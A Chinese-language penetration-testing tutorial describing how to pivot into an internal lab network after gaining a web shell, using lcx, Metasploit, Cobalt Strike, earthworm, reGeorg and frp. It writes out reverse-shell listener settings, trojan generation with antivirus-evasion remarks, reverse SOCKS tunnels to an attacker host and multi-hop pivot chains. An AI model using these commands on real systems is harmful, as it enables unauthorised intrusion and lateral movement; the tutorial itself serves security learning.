內網滲透—流量轉發

sijidou發表於2020-07-12

0x00前言

在拿到一臺伺服器的shell的時候,如果想要更進一步滲透測試,則需要進行內網滲透

而內網滲透的第一步就是掛代理,首先需要明確一個概念,在日常生活中常用vpn掛代理去google查資料,自己搭過vpn的人都知道,要在買的vps上搭建ss的伺服器端,之後在自己電腦上下載ss的客戶端,確定對應的加密協議和密碼就能成功轉發

而在內網滲透的流量轉發是一個道理,是在拿到shell的伺服器上使用工具讓它變成代理的伺服器端,之後在本機使用客戶端工具進行連線

0x01流量轉發工具

需要放在拿到shell的伺服器的伺服器端可使用

1.lcx

2.msf

3.cobalt Strike

4.earthworm

5.reGeorg

本地的客戶端可以使用

windows

1.proxifier

2.SocksCap64

linux

1.proxychains

0x02 本次測試的環境

本次環境是公司搭的一個一層內網學習環境,本篇文章只總結流量轉發的方法,因此大致介紹下簡化的拓撲結構

攻擊機:

ip:10.86.0.87 win10(該ip能訪問到最外層的DMZ區web伺服器)

ip: xx.xx.xx.xx kali (虛擬機器,與主機win10 進行NAT連線)

被攻擊機:

ip: 172.16.3.145192.168.93.143 web伺服器(雙網路卡,192為內網ip)

ip: 192.168.93.138 內網伺服器,上面80有個IIS服務(能訪問到該web,則說明代理成功)

明確個概念

那麼DMZ區伺服器彈shell到kali虛擬機器要通過本機做埠對映,kali要訪問內網web伺服器則代理需要設定成本機的埠

0x03 lcx轉發

本工具只是埠流量轉發,並不具備完整的proxy代理功能

舉個例子伺服器只能本地連3389,因此攻擊機連不了,但是可以通過該工具將3389轉發到攻擊機的埠上,就能連線了

拿到shell後,上傳lcx.exe檔案

將自身埠流量轉發到攻擊機埠上

使用方法

本機

接收2333埠來的流量,並在自己的2334埠開啟

lcx.exe –listen 2333 2334

目標伺服器

將自己的3389的流量轉發到10.86.0.87攻擊機的2333埠上

lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389

rdp連線自己的2334埠

本身流量轉發

這玩意兒還能在自己的上進行埠轉發,比如把3389埠流量轉到自己的2333埠

lcx.exe -tran 2333 127.0.0.1 3389

0x04 msf

msf它本身有流量轉發的模組,因為本次的msf是在kali虛擬機器裡面的,又因為DMZ區伺服器是沒法訪問到kali的,意味著反彈shell是沒法直接實現的

在使用msf轉發前,使用frp將kali的監聽埠對映到本機上

在本機中使用frps伺服器端

frps.ini的配置如下,確定繫結的埠,token的值,轉發的埠,即可

啟動

.\frps.exe -c .\frps2.ini

在kali中使用frpc客戶端

frpc.ini的配置如下,[common]是協議連線的目標,和token憑證,[appName1]~[appName3]是將10.86.0.87的10001埠對映到自己的10001埠

啟動方式,利用nohup和 &,掛後臺執行

nohup ./frpc -c frpc2.ini &

回過頭來看windows本機,已經有資訊了

可以使用nc嘗試下,是否對映了

訪問下windows的10001埠

再看kali裡面收到了http請求頭

將shell反彈到msf上

先在msf中進行監聽php的msf的shell

use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run

現在DMZ伺服器能間接通過的埠對映訪問到kali的埠了,在冰蠍中可以使用設定好的反彈msf的payload

點選給我連,就彈回來啦

使用msf設定代理

拿到msf的shell了後,就是上代理了,這裡因為我之前已經掃過網段了,可以確定內網是192.168.93.0/24網段

因此新增路由

meterpreter> run autoroute -s 192.168.93.0/24

可以檢視

meterpreter> run autoroute -p

接下來將該shell掛起到後臺

meterpreter> background

並且使用sock4a模組進行轉發

use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run

kali中直接firefox訪問下192.168.93.80的web,頁面是載入不出來的

接下來使用proxychains來代理訪問內網的web

設定一下

vim /etc/proxychains.conf

proxychains curl http://192.168.93.138

即可訪問成功

0x05 Cobalt Strike代理

這個就很好用了,強烈推薦,因為我是在windows上起的cs的伺服器,因此反向代理就是本機不需要埠對映,操作也非常簡單(就這玩意兒老斷開連線,可能我電腦的問題

先建立個listener

生成一個exe的木馬,當然有殺軟的話可以使用powershell或者程式語言執行程式碼直接反彈

丟到伺服器上執行

OK彈回來了

因為這裡是代理使用的總結,就不深入總結cs的利用,直接使用代理模組

這裡cs有2個代理方式,一個是瀏覽器代理,一個是sock代理

首先看瀏覽器代理

接下來,就可以使用我本機的瀏覽器,掛代理訪問了,掛代理方式和burp一樣,這裡使用的是本機的4001埠

設定方式很簡單

訪問下試試

在kali虛擬機器中同理,也可以使用這樣的方式訪問web了

但是proxychains是不行的,接下來可以使用cs的另一個代理socks

接下里配置proxychains

成功代理

0x06 使用earthworm

ew是一個很厲害的軟體,但是因為很厲害所以作者已經關閉下載了....

他有各種系統的可執行檔案

ew具有lcx的轉發功能,還能執行socks代理

正向代理和反向代理的區別很多文章都有提到,從表面上看正向代理的代理埠和ip是在被攻擊的伺服器上,反向代理的埠和ip是自己的本機

正向代理

將對應系統的可執行檔案上傳上去

只需要在伺服器執行

ew_for_Win.exe -s ssocksd -l 2336

配置好proxychains,代理為172.16.3.145:2336埠,能夠訪問內網了

反向代理

在本地使用ew進行埠監聽,意思是將本地從4399接收到的流量轉發到2337埠上

.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399

在跳板的伺服器上執行,將自己的代理服務轉到遠端10.86.0.87伺服器上的4399埠

ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399

嘗試下

ew具有lcx的功能

在最上面介紹lcx的時候提到了lcx具有將遠端的埠對映到本地,和將本地的埠A流量轉移到埠B的功能

ew同樣有lcx的功能,使用方法如下,這裡還是拿3389為例

將遠端埠對映到本地

在本機起監聽,監聽自己的4399和2338埠,將4399埠收到的資料轉出到2338埠接收

.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399

在遠端的伺服器上執行

ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389

將本機的埠A轉發到埠B

ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389

多級代理

ew移植lcx的功能不僅僅是為了集合功能,更重要的是可以憑藉該功能達到多層代理,這裡沒有實際的環境,舉個例子

攻擊機A ,邊間伺服器B,內網1層的伺服器C,內網2層的伺服器D

首先拿到B,掛好代理,只能看到C,但不能看到D,這時候就要藉助EW的轉發功能實現多層內網滲透


攻擊機A,使用反向代理

將接到的3001埠的流量,開到自己的2001埠上,最終是掛本地2001埠,實現代理的

.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001

邊界伺服器B,使用流量轉發和流量監聽

流量轉發,將本地4001埠流量轉移到A的3001埠上

.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001

流量監聽,將接受到的5001埠的流量轉到自己的4001上

.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001

內網1層的伺服器C

反向代理,將自己的5001的socks代理傳給B的5001埠

.\ew_for_Win.exe -s rssocks -d B的ip -e 5001 

綜上所述,訪問到D的流量如下

D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001 

掛A:2001的代理,即可訪問到D

0x07 reGeorg

reGeorg使用起來也很方便,他和以上的幾種工具想比,它不需要在目標上執行程式,只需要把對應的web的指令碼上傳上去能夠訪問即可

reGeorg的檔案主要是以web的後臺語言為代理指令碼,因此要使用reGeorg的先決條件是需目標具有web服務

這裡的例子是PHP,先上傳tunnel.php函式報錯了,之後我上傳了tunnel.nosocket.php,則正常工作了

tunnel.nosocket.php能正常開啟

接下來在本地,使用python執行它的py指令碼,如果不加-l引數則預設是127.0.0.1的地址開啟的代理,這時kali就沒法使用10.86.0.87,ip來設定代理了

python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php

自己的5432埠即為代理埠

0x08 frp

在部落格搬家的時候,又另外學到一招使用frp進行內網代理的,十分穩定好用,最主要的是frp是正常軟體,殺軟一般不會殺
理清思路,跳板機是frpc,我們的vps是frps,將跳板機的流量轉到vps的一個埠上,代理走vps的轉發埠即可完成內網代理

在跳板機上的frpc.ini內容如下,將tcp的流量使用socks5,壓縮一下轉到遠端埠的8881上

[common]
server_addr = mi0.xyz
server_port = 7000
token = xxxxxx

[socks_proxy]
type = tcp
remote_port = 8881
plugin = socks5
use_compression = true

在vps伺服器上的frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = xxxxx

之後先在vps上啟動frps.ini

nohup ./frps -c frps.ini &

在跳板機上啟動frpc.ini

#linux
nohup ./frpc -c frpc.ini &
#windows
./frpc.exe -c frpc.ini

0x09代理客戶端

在最前面講到有3個代理的客戶端,其中proxychains是linux下的,也是上面各種工具使用時候,使用的代理方式驗證,proxifierSocksCap64均是windows下的工具,有圖形化的介面,免費的。proxifier隨便找個啟用碼即可

proxychains

安裝,kali自帶的

apt-get install proxychains

直接修改/etc/proxychains.conf檔案

在最下面的[ProxyList]中以以下格式設定代理

socks4 ip port
或者
socks5 ip port

使用方法也很簡單,這樣msf就能本身掛代理了

proxychains msfconsole

但是proxychains有些命令不支援,比如ping

proxifier

該工具是windows下的,配置有2個注意點即可

1.配置代理的ip和埠

2.配置走代理的exe程式

以剛剛的reGeorg代理為例

配置好了代理的伺服器,接下來配置哪些服務走該代理

Direct是直連,即不走代理的意思, proxy SOCKS5 即是剛剛設定的代理,當前設定是firefox走代理,chrome.exe不走代理

這個規則表和配置交換機的ACL協議一樣,從上往下讀協議的

如果要burp抓包,則使用Any,Any,Any,即全部應用都走代理即可

SocksCap64

proxifier很相似,先設定代理

接下來右鍵下面的應用,選擇在代理隧道中執行即可,該應用也可以新增

這裡在代理隧道中執行chrome,即可訪問內網的web服務

0x09 結語

掛代理思路清楚了是比較簡單的事情,滲透測試和CTF稍微不同的地方在於,CTF注重原理,深入到程式碼的寫法問題,而滲透測試則注重工具的使用。lcx和ew很容易被殺軟殺掉,但是在比較low或者比賽或者學習的環境中或者關掉殺軟的情況下還是比較好使的@_@

相關文章